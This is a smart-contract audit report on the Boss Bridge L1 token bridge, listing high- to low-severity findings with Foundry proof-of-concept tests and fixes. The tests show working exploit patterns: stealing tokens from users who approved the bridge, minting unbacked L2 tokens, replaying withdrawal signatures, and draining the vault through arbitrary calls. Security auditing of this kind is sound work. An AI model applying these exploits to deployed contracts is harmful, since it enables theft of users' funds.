Boss Bridge Protocol Audit Report

Prepared by: 0xshuayb

Table of Contents

Protocol Summary

This project presents a simple bridge mechanism to move our ERC20 token from L1 to an L2 we're building. The L2 part of the bridge is still under construction, so we don't include it here.

In a nutshell, the bridge allows users to deposit tokens, which are held into a secure vault on L1. Successful deposits trigger an event that our off-chain mechanism picks up, parses it and mints the corresponding tokens on L2.

Disclaimer

The 0xshuayb team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L

	Impact			
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

The findings described in this document correspond the following commit hash:

```
07af21653ab3e8a8362bf5f63eb058047f562375
```

Scope

```
./src/
#-- L1BossBridge.sol
#-- L1Token.sol
#-- L1Vault.sol
#-- TokenFactory.sol
```

Roles

- Bridge Owner: A centralized bridge owner who can:
  - pause/unpause the bridge in the event of an emergency
  - set `Signers` (see below)
- Signer: Users who can "send" a token from L2 -> L1.
- Vault: The contract owned by the bridge that holds the tokens.
- Users: Users mainly only call `depositTokensToL2`, when they want to send tokens from L1 -> L2.

Executive Summary

Issues found

Severity	Number of issues found
High	5
Medium	1
Low	3
Info	0
Gas	0
Total	9

Findings

High

[H-1] Users who give token approval to `L1BossBridge` are at risk of losing their assets

Description The `depositTokensToL2` function can be called by anyone with a `from` address of any account that has approved tokens to the bridge

```
@>    function depositTokensToL2(address from, address l2Recipient,
uint256 amount) external whenNotPaused {}
```

As a result, an attacker can transfer tokens out of a user's address whose token approval to the bridge is greater than 0. The tokens gets transferred to the bridge's vault and the attacker's address gets minted the equivalent amount of tokens on the L2

Impact Users are the risk of losing their tokens to attackers

Proof of Concepts Place the code below in the `L1TokenBridge.t.sol` test suite:

```
function testCanMoveApprovedTokenOfOtherUsers() public {
        vm.prank(user);
        token.approve(address(tokenBridge), type(uint256).max);

        address attacker = makeAddr('attacker');
        uint256 depositAmount = token.balanceOf(user);
        vm.startPrank(attacker);
        vm.expectEmit(address(tokenBridge));
        emit Deposit(user, attacker, depositAmount);
        tokenBridge.depositTokensToL2(user, attacker, depositAmount);
        vm.stopPrank();

        assertEq(token.balanceOf(user), 0);
        assertEq(token.balanceOf(address(vault)), depositAmount);
    }
```

Recommended mitigation Consider modifying the `depositTokensToL2` function so that the caller cannot specify a `from` address

```
- function depositTokensToL2(address from, address l2Recipient, uint256
amount) external whenNotPaused {
+ function depositTokensToL2(address l2Recipient, uint256 amount) external
whenNotPaused {
    if (token.balanceOf(address(vault)) + amount > DEPOSIT_LIMIT) {
        revert L1BossBridge__DepositLimitReached();
    }
-   token.transferFrom(from, address(vault), amount);
+   token.transferFrom(msg.sender, address(vault), amount);

    // Our off-chain service picks up this event and mints the
corresponding tokens on L2
-   emit Deposit(from, l2Recipient, amount);
+   emit Deposit(msg.sender, l2Recipient, amount);
}
```

[H-2] Calling `depositTokensToL2` function with the vault's address as the `from` address allows infinite minting of unbacked tokens in L2

Description The depositTokensToL2`function allows the caller to specify the`from`address from which tokens are taken. But because the vault grants infinte approval to the bridge as seen in`L1BossBridge`constructor, it's possible for an attacker to call the`depositTokensToL2`function and transfer tokens from the vault to the vault itself. This triggers the`Deposit` event emmission, causing the minting of unbacked tokens in L2

```
    constructor(IERC20 _token) Ownable(msg.sender) {
        token = _token;
        vault = new L1Vault(token);
        // Allows the bridge to move tokens out of the vault to facilitate
withdrawals
@>      vault.approveTo(address(this), type(uint256).max);
    }
```

Impact An attacker can mint infinte amount of L2 tokens without actually making any deposits

Proof of Concepts Place the code below in the `L1TokenBridge.t.sol` test suite:

```
    function testCanTransferToVault() public {
        address attacker = makeAddr('attacker');
        uint256 vaultBalance = 500 ether;
        deal(address(token), address(vault), vaultBalance);

        // Can trigger the deposit event, self transfer tokens to the
vault
        vm.expectEmit(address(tokenBridge));
        emit Deposit(address(vault), attacker, vaultBalance);
        tokenBridge.depositTokensToL2(address(vault), attacker,
vaultBalance);

        // Can we keep doing this?
        vm.expectEmit(address(tokenBridge));
        emit Deposit(address(vault), attacker, vaultBalance);
        tokenBridge.depositTokensToL2(address(vault), attacker,
vaultBalance);
    }
```

Recommended mitigation As suggested in H-1, consider modifying the `depositTokensToL2` function so that the caller cannot specify a from address.

[H-3] Lack of replay protection in `withdrawTokensToL1` allows withdrawals by signature to be replayed

Description Users who want to withdraw tokens from the bridge can call the `sendToL1` function, or the wrapper `withdrawTokensToL1` function. These functions require the caller to send along some withdrawal data signed by one of the approved bridge operators. However, the signatures do not include any kind of replay-protection mechanisn (e.g., nonces). Therefore, valid signatures from any bridge operator can be reused by any attacker to continue executing withdrawals until the vault is completely drained.

Impact An attacker can completely drain the vault's funds

Proof of Concepts Include the following test in the `L1TokenBridge.t.sol` file:

```
function testSignatureReplay() public {
        address attacker = makeAddr("atacker");
        uint256 vaultInitialBalance = 1000e18;
        uint256 attackerInitialBalance = 100e18;
        deal(address(token), address(vault), vaultInitialBalance);
        deal(address(token), address(attacker), attackerInitialBalance);

        // An attacker deposits tokens to L2
        vm.startPrank(attacker);
        token.approve(address(tokenBridge), type(uint256).max);
        tokenBridge.depositTokensToL2(attacker, attacker,
attackerInitialBalance);

        // Signer/Operator is going to sign the message
        bytes memory message = abi.encode(address(token), 0,
abi.encodeCall(IERC20.transferFrom, (address(vault), attacker,
attackerInitialBalance)));
        (uint8 v, bytes32 r, bytes32 s) = vm.sign(operator.key,
MessageHashUtils.toEthSignedMessageHash(keccak256(message)));

        while(token.balanceOf(address(vault)) > 0) {
            tokenBridge.withdrawTokensToL1(attacker,
attackerInitialBalance, v, r, s);
        }

        assertEq(token.balanceOf(address(attacker)),
attackerInitialBalance + vaultInitialBalance);
        assertEq(token.balanceOf(address(vault)), 0);
    }
```

Recommended mitigation Consider redesigning the withdrawal mechanism so that it includes some form of replay protection.

[H-4] Users can call `L1Vault::approveTo` through `L1BossBridge::sendToL1` arbitrary calls to give themselves infinite allowance to vault funds

Description The `sendToL1` function in `L1TokenBridge` if called with a valid signature by an operator can execute arbitrary low-level calls to any given target. Because there's no restrictions neither on the target nor the calldata, this call could be used by an attacker to execute sensitive contracts of the bridge. For example, the `L1Vault` contract. An attacker could submit a call that targets the vault and executes is approveTo function on their wallet, allowing them to drain the vault

```
    function sendToL1(uint8 v, bytes32 r, bytes32 s, bytes memory message)
public nonReentrant whenNotPaused {
        address signer =
ECDSA.recover(MessageHashUtils.toEthSignedMessageHash(keccak256(message)),
v, r, s);

        if (!signers[signer]) {
            revert L1BossBridge__Unauthorized();
        }

        (address target, uint256 value, bytes memory data) =
abi.decode(message, (address, uint256, bytes));

        // data w crazy gas costs
@>      (bool success,) = target.call{ value: value }(data);
```

Impact

Proof of Concepts Include the following test in the `L1BossBridge.t.sol` file:

```
function testCanCallVaultApproveFromBridgeAndDrainVault() public {
    uint256 vaultInitialBalance = 1000e18;
    deal(address(token), address(vault), vaultInitialBalance);

    // An attacker deposits tokens to L2. We do this under the assumption
that the
    // bridge operator needs to see a valid deposit tx to then allow us to
request a withdrawal.
    vm.startPrank(attacker);
    vm.expectEmit(address(tokenBridge));
    emit Deposit(address(attacker), address(0), 0);
    tokenBridge.depositTokensToL2(attacker, address(0), 0);

    // Under the assumption that the bridge operator doesn't validate
bytes being signed
    bytes memory message = abi.encode(
        address(vault), // target
        0, // value
        abi.encodeCall(L1Vault.approveTo, (address(attacker),
type(uint256).max)) // data
    );
```

```
        (uint8 v, bytes32 r, bytes32 s) = _signMessage(message, operator.key);

        tokenBridge.sendToL1(v, r, s, message);
        assertEq(token.allowance(address(vault), attacker),
    type(uint256).max);
        token.transferFrom(address(vault), attacker,
    token.balanceOf(address(vault)));
    }
```

Recommended mitigation Consider disallowing attacker-controlled external calls to sensitive components of the bridge, such as the `L1Vault` contract

[H-5] CREATE opcode does not work on zksync era

Description The `TokenFactory` contract is to be deployed on both Ethereum mainnet and ZkSync era chain. But the CREATE opcode used in `deployToken` is not supported on the zkSync era chain. ZkSync Era requires a different deployment mechanism than standard EVM create opcode. The raw assembly-level CREATE operation won't work

```
        function deployToken(string memory symbol, bytes memory
    contractBytecode) public onlyOwner returns (address addr) {
            assembly {
    @>          addr := create(0, add(contractBytecode, 0x20),
    mload(contractBytecode))
            }
            s_tokenToAddress[symbol] = addr;
            emit TokenDeployed(symbol, addr);
        }
```

Impact The intended goal to allow usage of the protocol on both Ethereum mainnet and ZkSync era won't be possible and `TokenFactory` is not ZkSync compatible

Recommended mitigation Use a deployment mechanism that is compatible to both the Ethereum mainnet and the ZkSync Era chain

Medium

[M-1] Withdrawals are prone to unbounded gas consumption due to return bombs

During withdrawals, the L1 part of the bridge executes a low-level call to an arbitrary target passing all available gas. While this would work fine for regular targets, it may not for adversarial ones.

In particular, a malicious target may drop a return bomb to the caller. This would be done by returning an large amount of returndata in the call, which Solidity would copy to memory, thus increasing gas costs due to the expensive memory operations. Callers unaware of this risk may not set the transaction's gas limit sensibly, and therefore be tricked to spent more ETH than necessary to execute the call.

If the external call's returndata is not to be used, then consider modifying the call to avoid copying any of the data. This can be done in a custom implementation, or reusing external libraries such as this one.

Low

[L-1] Lack of event emission during withdrawals and sending tokesn to L1

Neither the `sendToL1` function nor the `withdrawTokensToL1` function emit an event when a withdrawal operation is successfully executed. This prevents off-chain monitoring mechanisms to monitor withdrawals and raise alerts on suspicious scenarios.

Recommended mitigation Modify the `sendToL1` function to include a new event that is always emitted upon completing withdrawals.

[L-2] `TokenFactory::deployToken` can create multiple token with same `symbol`

Impact Deploying multiple tokens with the same symbol can create confusion for users

Proof of Concepts Include the following test in the `TokenFactoryTest.t.sol` file:

```
 function testAddToken() public {
        vm.startPrank(owner);
        address tokenAddress = tokenFactory.deployToken("TEST",
type(L1Token).creationCode);
        address token2Address = tokenFactory.deployToken("TEST",
type(L1Token).creationCode);
        assert(tokenAddress != token2Address);
    }
}
```

Recommended mitigation Modify the `deployToken` function to include a check to confirm if the token name already exists

```
function deployToken(string memory symbol, bytes memory contractBytecode)
public onlyOwner returns (address addr) {
    // Check if token symbol already exists
+   require(s_tokenToAddress[symbol] == address(0), "Token symbol already
exists");

    assembly {
        addr := create(0, add(contractBytecode, 0x20),
mload(contractBytecode))
    }
    require(addr != address(0), "Token deployment failed");

    s_tokenToAddress[symbol] = addr;
    emit TokenDeployed(symbol, addr);
}
```

[L-3] Unsupported opcode PUSH0